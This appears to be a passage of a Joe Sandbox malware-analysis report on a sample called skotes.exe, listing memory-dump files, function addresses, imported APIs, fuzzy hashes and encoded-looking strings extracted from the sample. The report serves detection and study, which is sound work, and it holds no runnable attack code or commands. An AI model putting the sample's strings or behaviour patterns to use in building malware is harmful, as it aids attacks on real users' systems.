Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6f0c820b59d7c674ae9889348dde99beaec9307fc3b544b59ea6755181ae273c
Instruction ID: eb9977142d74365800fe11bb59aa0f6f0fd2d289314c9f85f40730dd1b76dc4f
Opcode Fuzzy Hash: 6f0c820b59d7c674ae9889348dde99beaec9307fc3b544b59ea6755181ae273c
Instruction Fuzzy Hash: 7F217C317042009BEF18AB6CDC8977CB776EBD5310F244219E418977D5CB76598086D2

Non-executed Functions

Function 00992EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00992F5F
GetCurrentThreadId.KERNEL32 ref: 00992F7E
__Mtx_unlock.LIBCPMT ref: 00992FCC
__Cnd_broadcast.LIBCPMT ref: 00992FE3
__Mtx_unlock.LIBCPMT ref: 009930F5
GetCurrentThreadId.KERNEL32 ref: 00993132
__Mtx_unlock.LIBCPMT ref: 0099319B

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 5f2c39b485ce67a8617b30a20536a1956d4bd7c13b5051d59f9cd41d071bb85f
Instruction ID: 249feae23637ec938c145b29fcf496bc5a24920adc48655680902574a259e57c
Opcode Fuzzy Hash: 5f2c39b485ce67a8617b30a20536a1956d4bd7c13b5051d59f9cd41d071bb85f
Instruction Fuzzy Hash: AAA1E1B0A05605AFDF21DF68C944BAAB7F8FF56314F048129E815DB291EB35EA04CBD1

Function 009CCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009CCC66

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 3d4d52e5f76ba8b0261ce0354c44c00c8792f4207271ebf9b39b7fe0705ad469
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: ECB115B2D042459FDB11CF68C841FAEBFA5EF46340F14856EE459EB382D6348D41CB62

Function 009ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 009ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 009ABBE4
_xtime_get.LIBCPMT ref: 009ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 009ABC13

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 7108e55fc8ce3e2f9272fe0bc3855f9d8ebd31c58b59c41ff2bacb3002d0792b
Instruction ID: e9ead1594f2fdd9bd059fecc9203e31e3e7a183b7d4f362be03e81bac3030b1d
Opcode Fuzzy Hash: 7108e55fc8ce3e2f9272fe0bc3855f9d8ebd31c58b59c41ff2bacb3002d0792b
Instruction Fuzzy Hash: A4212FB1A00119AFDF00EFA4DC85ABEB7B9EF4A710F100015F501BB251DB74AD419BE0

Analysis Process: skotes.exePID: 3452, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	852
Total number of Limit Nodes:	70

Executed Functions

Function 0099E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MGE+, xrefs: 0099E821
WDw=, xrefs: 0099F71D, 0099F9FA
9c9aa5, xrefs: 0099FB8E
UA==, xrefs: 0099EB0F, 0099ED56
111, xrefs: 0099F7A0
GnNoc2Hc, xrefs: 0099E56C
#, xrefs: 009A0624
WTs=, xrefs: 009A05CA
WTw=, xrefs: 009A097D
MQ==, xrefs: 0099E592
246122658369, xrefs: 0099F737, 0099FA14, 009A05E7, 009A099A

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: e5db6a3e2ada9f8036f7f65f2998304169b9680147fa0a952c81f3507ec479e6
Instruction ID: 0c8b46b65c2658fb61a01847b199727084d0d1398753f41251cdfb982127d4a8
Opcode Fuzzy Hash: e5db6a3e2ada9f8036f7f65f2998304169b9680147fa0a952c81f3507ec479e6
Instruction Fuzzy Hash: CC82D670A04288DBEF15EF68C9497DEBFB5AB46304F508588E805673C2D7759A88CFD2

Function 009965E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00996680

Strings

ISNmfV==, xrefs: 009967D1
GSTmfV==, xrefs: 00996728
RySfdMLx, xrefs: 0099669C

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
